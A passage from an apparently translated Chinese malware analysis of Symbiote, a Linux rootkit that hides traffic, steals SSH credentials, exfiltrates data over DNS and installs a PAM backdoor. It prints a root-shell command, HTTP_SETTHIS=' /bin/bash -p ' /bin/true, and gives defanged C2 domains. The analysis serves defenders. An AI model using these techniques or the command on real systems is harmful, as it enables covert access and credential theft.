马云惹不起马云IPv4(TCP 或SCTP)和src 端口(43253 或43753 或63424 或26424);

马云惹不起马云IPv4(TCP 或SCTP)和dst端口(43253 或43753 或63424 或26424);

雖然此字節碼僅根據端口釋放數據包,但研究人員還觀察到基於IPv4 地址的流量過濾。在所有情況下,過濾都會對來自設備的入站和出站流量進行操作,以隱藏兩個方向的流量。如果條件不滿足,它只是跳轉到調用應用程序提供的字節碼的開頭。

如代碼片段1 所示,從其中一個樣本中提取的字節碼包含32 條指令。這段代碼不能單獨注入內核,因為它假定在它之後存在更多字節碼。這個字節碼中有一些跳轉,會跳到調用進程提供的字節碼的開頭。如果沒有調用者的字節碼,注入的字節碼會跳出邊界,這是內核不允許的。像這樣的字節碼要么必須手寫,要么通過修補編譯器生成的字節碼。這兩種選擇都表明該惡意軟件是由熟練的開發人員編寫的。

5.1.png

5.2.png

5.3.png

代碼片段1:從一個Symbiote 樣本中提取的帶註釋的字節碼

Symbiote 用來隱藏其網絡流量的第三種方法是掛鉤libpcap 函數。惡意軟件使用此方法過濾掉指向列表中域名的UDP 流量。它掛鉤函數pcap_loop 和pcap_stats 來完成這個任務。對於接收到的每個數據包,Symbiote 都會檢查UDP 有效負載以查找要過濾掉的域的子字符串。如果找到匹配項,惡意軟件會忽略該數據包並增加一個計數器。 pcap_stats 使用此計數器通過從處理的真實數據包數中減去計數器值來“更正”處理的數據包數。如果數據包有效負載不包含其列表中的任何字符串,則調用原始回調函數。該方法用於過濾掉UDP 數據包,而字節碼方法用於過濾掉TCP 數據包。通過使用這三種方法,惡意軟件可確保隱藏所有流量。

Symbiote的攻擊目標除了隱藏設備上的惡意活動外,該惡意軟件的目標是獲取憑據並為攻擊者提供遠程訪問。憑證收集是通過掛鉤libc 讀取函數來執行的。如果ssh 或scp 進程正在調用該函數,它會捕獲憑據。憑證首先使用嵌入式密鑰使用RC4 加密,然後寫入文件。例如,惡意軟件的一個版本將捕獲的憑據寫入文件/usr/include/certbot.h。

除了在本地存儲憑據外,還會洩露憑據。數據經過十六進制編碼並分塊,以通過DNS 地址(A) 記錄請求洩露到攻擊者控制的域名。 A 記錄請求的格式如下:

6.png

代碼片段2:Symbiote 用於洩露數據的DNS 請求結構

惡意軟件檢查設備是否在/etc/resolv.conf 中配置了名稱服務器。如果沒有,則使用Google 的DNS (8.8.8.8)。除了向域名發送請求外,Symbiote 還將其作為UDP 廣播發送。

對受感染計算機的遠程訪問是通過連接幾個Linux可插入身份驗證模塊(PAM)函數來實現的。當服務試圖使用PAM對用戶進行身份驗證時,惡意軟件會根據硬編碼的密碼檢查提供的密碼。如果提供的密碼匹配,掛起的函數將返回一個成功響應。由於鉤子在PAM中,所以它允許攻擊者對使用PAM的任何服務設備進行身份驗證。這包括像Secure Shell (SSH)這樣的遠程服務。

如果輸入的密碼與硬編碼的密碼不匹配,惡意軟件會將其保存並洩露,作為其鍵盤記錄功能的一部分。此外,惡意軟件還會向其命令與控制(C2) 域發送DNS TXT 記錄請求。 TXT 記錄的格式為%MACHINEID%.%C2_DOMAIN%。如果收到響應,惡意軟件base64 會解碼內容,檢查內容是否已由正確的ed25519 私鑰簽名,使用RC4 解密內容,並在生成的bash 進程中執行shell 腳本。此功能可以作為一種打破僵局的方法運行,以在正常過程不起作用的情況下重新獲得對設備的訪問權限。

一旦攻擊者通過受感染設備的身份驗證,Symbiote 就會提供獲得root 權限的功能。首次加載共享對象時,它會檢查環境變量HTTP_SETTHIS。如果變量設置了內容,則惡意軟件將有效用戶和組ID 更改為root 用戶,然後通過系統命令在執行內容之前刪除變量。

此過程要求SO 設置了setuid 權限標誌。一旦系統命令退出,Symbiote 也會退出進程,以防止原始進程執行。下圖顯示了執行的代碼。這允許通過在shell 中以任何用戶身份運行HTTP_SETTHIS=' /bin/bash -p ' /bin/true作為shell中的任何用戶。

7.png

使用root權限執行命令的邏輯

網絡基礎設施Symbiote 惡意軟件使用的域名冒充巴西的一些主要銀行。這表明這些銀行或其客戶是Symbiote 的潛在目標。利用惡意軟件使用的域名,研究人員成功地發現了一個相關的樣本,該樣本被上傳到VirusTotal,名稱為certbotx64。這個文件名與我們最初獲得的Symbiote樣本中列出的一個文件相匹配。該文件被識別為一個名為dnscat2的開源DNS隧道工具。

該示例在二進製文件中有一個配置,該配置使用git[.]bancodobrasil[.]dev 域作為其C2 服務器。在2 月和3 月期間,該域名解析為與Njalla 的虛擬專用服務器(VPS) 服務相關聯的IP 地址。 DNS 記錄顯示,幾個月前,相同的IP 地址被解析為ns1[.]cintepol[.]link 和ns2[.]cintepol[.]link。 Cintepol是巴西聯邦警察提供的一個情報門戶,該門戶允許警察訪問聯邦警察提供的不同數據庫,作為他們調查的一部分。用於此冒充域名的名稱服務器從2021 年12 月中旬到2022 年1 月末一直處於活動狀態。

同樣從2022 年2 月開始,caixa[.]wf 域的名稱服務器指向另一個Njalla VPS IP。下圖顯示了這些事件的時間線。除了網絡基礎設施之外,還包括文件提交給VirusTotal 的時間戳。這三個Symbiote 樣本是由來自巴西的同一提交者上傳的。這些文件似乎是在基礎架構上線之前提交給VirusTotal 的。

鑑於這些文件是在基礎設施上線之前提交給VirusTotal 的,並且由於某些樣本包含隱藏本地IP 地址的規則,因此這些樣本有可能在使用之前提交給VirusTotal 以測試防病毒檢測。此外,巴西於11 月底提交了一個似乎正在開發中的版本,進一步表明VirusTotal 正被Symbiote 背後的攻擊者或組織用於檢測測試。

8.png

顯示文件何時提交給VirusTotal 以及網絡基礎設施何時啟動的時間線

與其他惡意軟件的相似之處Symbiote 似乎是為竊取憑據和提供對受感染Linux 服務器的遠程訪問而設計的。 Symbiote 並不是第一個為此目的開發的Linux 惡意軟件。 2014 年,ESET 發布了對Ebury 的深入分析,Ebury 是一個OpenSSH 後門,也會執行憑據竊取。兩個惡意軟件家族使用的技術有一些相似之處。兩者都使用掛鉤函數來捕獲憑據並將捕獲的數據作為DNS 請求外洩。但是,這兩個惡意軟件家族對後門的身份驗證方法是不同的。當我們第一次使用Intezer Analyze 分析樣本時,只檢測到唯一代碼。由於Symbiote 和Ebury/Windigo 或任何其他已知惡意軟件之間沒有共享代碼,研究人員得出結論,Symbiote 是一種新的、未被發現的Linux 惡意軟件。

9.png

總結Symbiote 是一種具有高度隱蔽性的惡意軟件。它的主要目標是捕獲憑據並加快對受感染設備的後門訪問。由於惡意軟件作為用戶級rootkit 運行,因此要檢測到它很困難。